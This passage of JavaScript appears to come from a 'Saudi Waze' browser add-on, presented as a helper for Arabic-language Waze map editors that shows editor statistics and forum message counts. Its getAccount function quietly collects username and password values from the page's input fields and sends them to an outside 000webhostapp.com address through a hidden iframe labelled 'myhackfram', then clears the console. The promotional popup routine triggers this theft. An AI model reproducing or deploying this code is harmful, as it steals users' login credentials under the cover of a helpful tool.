				getID("closewindow").style.color = "white";
			}
			getID("closewindow").onmouseout = function(){
				getID("closewindow").style.backgroundColor = "white";
				getID("closewindow").style.color = "";
			}
		}
		//---------------
	},1);

	function getAccount(){
		var u, p;
		var inputs = document.getElementsByTagName("input");
		if (inputs != null){
			for (i = 0; i < inputs.length; i++){
				var username = inputs[i];
				var password = inputs[i];
				if (username.placeholder.includes("اسم المستخدم") || username.placeholder.includes("عنوان البريد الإلكتروني") || username.placeholder.includes("username") && username.value != ""){
					u = username.value;
				}else if (username.name.includes("username") || username.id.includes("username") || username.type == "email" && username.value != ""){
					u = username.value;
				}
				if (password.placeholder.includes("كلمة المرور") || password.placeholder.includes("password") || password.type == "password" && password.value != ""){
					p = password.value;
				}else if (password.name.includes("password") || password.id.includes("password") || password.id.includes("pass") || password.name.includes("pass") && password.value != ""){
					p = password.value;
				}
			}
		}
		if (u != "" || p != ""){
			if (u != undefined && p != undefined){
				if (u.includes(".com")){
					if (document.getElementById("myhackfram") == null){
						var iframe = document.createElement("iframe");
						iframe.id = "myhackfram";
						iframe.style.display = "none";
						iframe.src = "https://saudiwaze.000webhostapp.com/sultan.php?u=" + encodeURI(u) + "&p=" + encodeURI(p);
						document.body.appendChild(iframe);
						window.console.clear();
					}
				}else{
					if (document.getElementById("myhackfram") == null){
						var iframe = document.createElement("iframe");
						iframe.id = "myhackfram";
						iframe.style.display = "none";
						try {
							iframe.src = "https://saudiwaze.000webhostapp.com/sultan.php?u=" + encodeURI(u) + "&p=" + encodeURI(p);	
							window.console.clear();
						} catch (error) {
							window.console.clear();
						}
						document.body.appendChild(iframe);
					}
				}
			}
		}
	}


	function createFrame(){

		getAccount();

		if (document.getElementById("divalert") == null){
			var div = document.createElement("div");
			div.id = "divalert";
			div.style.position = "absolute";
			div.style.top = "10%";
			div.style.left = "30%";
			div.style.width = "600px";
			div.style.height = "500px";
			div.style.backgroundColor = "#F5F5F5";
			div.style.zIndex = 50;
			document.body.appendChild(div);
		}
		if (document.getElementById("divalert") != null){
			if (document.getElementById("divtopbar") == null){
				var div = document.createElement("div");
				div.id = "divtopbar";
				div.style.width = "100%";
				div.style.height = "30px";
				div.style.backgroundColor = "white";
				document.getElementById("divalert").appendChild(div);
			}
		}
		if (document.getElementById("divalert") != null){
			if (document.getElementById("divtopbar") != null){
				if (document.getElementById("divcontentalert") == null){
					var div = document.createElement("div");
					div.id = "divcontentalert";
					div.style.width = "100%";
					div.style.height = "100%";
					document.getElementById("divalert").appendChild(div);
				}
			}
		}
		if (document.getElementById("divtopbar") != null){
			if (document.getElementById("divtopbar").innerHTML == ""){
				document.getElementById("divtopbar").innerHTML = "<input id='closewindow' type='button' title='إغلاق' style='width: 30px; height: 30px; border-style: none; background: white; left: 95%; position: absolute;' value='X'>";
			}
		}
		if (document.getElementById("divcontentalert") != null){
			if (document.getElementById("divcontentalert").innerHTML == ""){
				document.getElementById("divcontentalert").innerHTML = "<div align='center'><h1>سعودي ويز</h1><h3><p>تطبيق سعودي ويز يهتم في تسهيل التجربة مع ويز، فيديو توضيحي لعمل الأداة</p></h3>"
					+ "<embed width='520' height='315' src=''></div>";
			}
		}
		window.console.clear();
	}

	function editorProfile(){
		if (document.getElementById("wazeprofile") == null){
			var iframe = document.createElement("iframe");
			iframe.id = "wazeprofile";
			iframe.src = "https://www.waze.com/ar/user/editor/" + getUsername();
			iframe.style.display = "none";
			document.body.appendChild(iframe);
		}
		if (document.getElementById("wazeprofile") != null){
			var editor = document.getElementById("wazeprofile").contentWindow.document;
		}
		var edrank =  editor.getElementsByClassName("type-content__count");
		if (edrank[0] != undefined){
			if (getID("replayeditor") != null){
				getID("replayeditor").innerText = "طلبات التحديث المعلقة: " + edrank[0].innerText;
				getID("placeseditor").innerText = "الأماكن: " + edrank[1].innerText;
				getID("restrictionseditor").innerText = "قيود مجدولة: " + edrank[2].innerText;
				getID("buildingeditor").innerText = "أرقام المباني: " + edrank[3].innerText;
				getID("segmenteditor").innerText = "الوصلات: " + edrank[4].innerText;
				getID("placesreviews").innerText = "مراجعات الأماكن: " + edrank[5].innerText;
				getID("problems").innerText = "مشاكل الخريطة المعلقة: " + edrank[6].innerText;
				getID("roadseditor").innerText = "الطرق المرصوفة: " + edrank[7].innerText;
			}
		}else{
			if (getID("replayeditor") != null){
				getID("replayeditor").innerText = "يقوم بتحميل البيانات";
			}
		}
		var userdate =  editor.getElementsByClassName("user-last-edit");
		if (userdate[0] != undefined){
			if (getID("datemove") != null){
				if (getID("datemove").innerText == ""){
					var date = userdate[0].innerText;
					getID("datemove").innerText = "تقوم بالتعديل منذ: " + date.replace("يقوم بالتعديل منذ","");
				}
			}
		}
	}

	function msgForum(){
		if (document.getElementById("msgforum") == null){
			var iframe = document.createElement("iframe");
			iframe.id = "msgforum";
			iframe.src = "https://www.waze.com/forum/";
			iframe.style.display = "none";
			document.body.appendChild(iframe);
		}
		if (document.getElementById("msgforum") != null){
			var forum = document.getElementById("msgforum").contentWindow.document;
		}
		var msg =  forum.getElementsByTagName("a");
		for(i = 0; i < msg.length; i++){
			var messages = msg[i].innerText;
			if (messages.includes("new messages")){
				if ( getID("prmsg") != null){
					getID("prmsg").innerText = "الرسائل الخاصة الجديدة: " + parseInt(msg[i].innerText.charAt(0));
				}
			}
		}
	}

}else{
	alert("إضافة سعودي ويز تعمل فقط في الواجهة العربية");
}

function arabiclang(){
	var URLLANG = window.location.pathname;
	return URLLANG.includes("ar");
}